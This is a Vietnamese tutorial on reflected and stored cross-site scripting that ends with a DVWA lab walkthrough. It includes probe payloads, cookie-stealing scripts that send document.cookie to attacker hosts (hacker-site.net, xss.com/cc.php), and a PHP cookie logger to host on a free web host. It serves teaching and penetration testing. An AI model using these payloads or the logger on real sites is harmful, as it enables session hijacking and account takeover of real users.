Phần 1: Reflected XSS
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, được mệnh danh là Godfather of Attack, và trong nhiều năm liền được liệt vào danh sách những kỹ thuật tấn công nguy hiểm nhất với ứng dụng web.
Không gọi là tắt là CSS để tránh nhầm lẫn với khái niệm Cascading Style Sheet của HTML.Kỹ thuật XSS được thực hiện dựa trên việc chèn các đoạn script nguy hiểm vào trong source code ứng dụng web. Nhằm thực thi các đoạn mã độc Javascript để chiếm phiên đăng nhập của người dùng.
Để hiểu rõ hơn, chúng ta xét ví dụ sau. Một ứng dụng web cho phép in ra giá trị mà chúng ta truyền vào thông qua URL, giả sử truyền vào biến name giá trị Ping
Mọi chuyện đến giờ vẫn ổn, chúng ta xem lại source code html
Điều dễ nhận thấy là giá trị tên mà chúng ta nhập vào đã được chèn vào source code. Vậy thì có khả năng là cái gì nhập vào cũng có thể được chèn vào. Vấn đề sẽ trở nên nghiêm trọng nếu như giá trị được nhập vào không phải là một chuỗi bình thường như trên mà là một đoạn mã lệnh có khả năng gây nguy hiểm, đại loại như thế này:
<script>alert(document.cookie)</script>
Thử lại với giá trị trên:Từ ví dụ này có thể kết luận 2 điều. Thứ nhất biến name có thể nhận giá trị đầu vào bất kỳ và truyền lên server xử lý. Thứ 2, server đã không kiểm soát giá trị đầu vào này trước khi trả về cho trình duyệt. Dẫn đến việc đoạn mã javascript đã bị chèn vào trong source code.
XSS nói chung được chia làm 3 loại chính là Reflected, Stored và DOM based. Trong bài viết này tôi sẽ đề cập chính đến kỹ thuật Reflected XSS.
Có đến 75% kỹ thuật XSS dựa trên Reflected XSS. Gọi là reflected(phản xạ) bởi vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có chứa đoạn mã nguy hiểm(thường là javascript). Nạn nhân chỉ cần request đến URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong muốn(tính phản xạ thể hiện ở đây). Ngoài ra nó còn được biết đến với tên gọi first-order XSS.
Kịch bản khai thác trong thực tế
Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website.Chi tiết được mô tả theo các bước như sau:
- Người dùng đăng nhập web và giả sử được gán session:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
- Bằng cách nào đó, hacker gửi được cho người dùng URL:
http://example.com/name=<script>var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;</script>
Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra - Nạn nhân truy cập đến URL trên
- Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request(đoạn javascript của hacker)
- Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
- Đoạn javascript mà hacker tạo ra thực tế như sau:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1 Host: hacker-site.net
- Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.
Phần 2: Stored XSS (Persistent XSS)
Trong bài trước, tôi đã giới thiệu về lỗi XSS (Cross Site Scripting) và hướng khai thác thực tế của XSS Reflected. Có một loại khác của XSS được xem là nguy hiểm hơn, đó là Stored XSS.
Khác với Reflected tấn công trực tiếp
vào một số nạn nhân mà hacker nhắm đến, Stored XSS hướng đến nhiều nạn
nhân hơn. Lỗi này xảy ra khi ứng dụng web không kiểm tra kỹ các dữ liệu
đầu vào trước khi lưu vào cơ sở dữ liệu (ở đây tôi dùng khái niệm này
để chỉ database, file hay những khu vực khác nhằm lưu trữ dữ liệu của
ứng dụng web). Ví dụ như các form góp ý, các comment … trên các trang
web.
Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực hiện tối thiểu qua 2 bước.
Đầu tiên hacker sẽ thông qua các điểm
đầu vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL
các đoạn mã nguy hiểm.
Tiếp theo, khi người dùng truy cập vào
ứng dụng web và thực hiện các thao tác liên quan đến dữ liệu được lưu
này, đoạn mã của hacker sẽ được thực thi trên trình duyệt người dùng.
Đến đây hacker coi như đã đạt được mục
đích của mình. Vì lí do này mà kỹ thuật Stored XSS còn được gọi là
second-order XSS. Kịch bản khai thác được mô tả như hình sau:
Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.
- Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc.
- Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc.
Từ những điều này có thể thấy Stored XSS
nguy hiểm hơn Reflected XSS rất nhiều, đối tượng bị ảnh hưởng có thế là
tất cả nhưng người sử dụng ứng dụng web đó. Và nếu nạn nhân có vai trò
quản trị thì còn có nguy cơ bị chiếm quyền điều khiển web.
Phần 3. Khai thác lỗ hổng XSS với Xenotix (DVWA)
Xenotix XSS Exploit Framework là một công cụ thử nghiệm xâm nhập để phát hiện và khai thác lỗ hổng XSS trong ứng dụng web. Công cụ này có thể tiêm các đoạn mã và một trang web mà nó có khả năng bị tổn thương tới lỗ hổng XSS. Nó là cơ bản là một danh sách các payload dựa trên các XSS Scanner và XSS Exploitation. Nó cung cấp cho người thử nghiệm xâm nhập khả năng để kiểm tra tất cả các XSS payloads có sẵn trong danh sách để tấn công ,ứng dụng web cho quá trình kiểm tra lỗ hổng XSS. Công cụ hỗ trợ cả chế độ tự động và chế độ bằng tay. XSS Exploit Framework bao gồm các công cụ XSS encoder, XSS keystroke logger, Executable Drive-by downloader, XSS Reverse Shell và XSS DDoSer.
****Dưới đây là cách khai thác lỗ hổng XSS (cơ bản).
**Phần 1:Test lỗi.
1.Đầu tiên ta cần cài đặt DVWA.Link hướng dẫn ở đây http://svuit.com/showthread.php?109-...-lab-with-DVWA.Sau khi phát hiên ra những lỗ hổng ta chuyển qua phần 2.
2.Sau đó ta vào thư mục cài đặt DVWA
Tìm file .htaccess edit lai :
# Limit access to localhost
<Limit GET POST PUT>
order deny,allow
deny from all ---------> Sửa thành allow from all
allow from 127.0.0.1
</Limit>
3.Tìm file index.php theo đường dẫn sau: dvwa\vulnerabilities\xss-s\index.phptìm:
<div class=\"body_padded\"> -----> <textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"50\"></textarea></td>
sửa maxlength từ 50 thành 200 nhu:
<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"200\"></textarea></td>
4.Vào web browser mở http://www.localhost/dvwa login vs username: admin password: password(mặc định nếu mốn ta có thể thay đổi sau).
5.Vào setup->Creat/reset database để tạo mới database nếu thành công thì sẽ có thông báo: database has been created....
6.Chỉnh DVWA security từ high xuống low.Đây là mức bảo mật thấp nhất.Ta nên bắt đầu từ đây.
7.Vào xss storage
8.Sử dụng một số đoạn script cơ bản để soát lỗi xss cho website:
<script>alert("XSS")</script>"><script>alert("XSS")</script>"><script>alert(String.fromCharCode(88,83,83)</script>'><script>alert("XSS")</script>'><script>alert(String.fromCharCode(88,83,83)</script><ScRIPt>aLeRT("XSS")</ScRIPt><ScRIPt><aLeRT(String.fromCharCode(88,83,83)</ScRIPt>
Phần 2.Sau khi phát hiện ra lỗi ta tấn công bang css
12*1.Tạo file cc.php để lấy cookies
Nội dung file cc.php nhu sau:
file này có nhiệm vụ lấy cookies và ghi thông tin lên file logs.txtCode:<?php $cookie=$HTTP_GET_VAR["cookie"]; //Lấy cookie từ địa chỉ hiện tại và lưu trữ cookie trong biến $cookie $steal=fopen("logs.txt","a"); //Mở cookiefile để đính kèm các cookie lấy được fwrite($steal,$cookie."\n"); //Viết lại những cookie lấy được lưu trong file $steal fclose($steal); //Đóng lại cookiefiles. ?>
Sau đó tạo file logs.txt.
Lưu ý phải chmod file logs.text về 777
12*2.Up các file cc.php và logs.text lên host
(Lưu ý đây là host do attacker tạo ra. Các bạn có thể tạo host free trên trang www.000webhost.com)
12*3.Khai thác lỗ hổng css
Chèn đoạn script độc vào textbox rồi gửi đi.
Giả sử ta upload 2 file lên host của site có địa chỉ như sau: http://www.xss.com thì đoạn script có dạng như sau:
Chèn đoạn mã đó vào site dính lỗi xss.Khi admin view site thi cookie se duoc gui ve cho attacker.<script>location.href='http://www.xss.com/cc.php?cookie='+document.cookie;</script>
Kiểm tra file log trên web.
Bước cuối cùng.Khai thác cookies lấy được.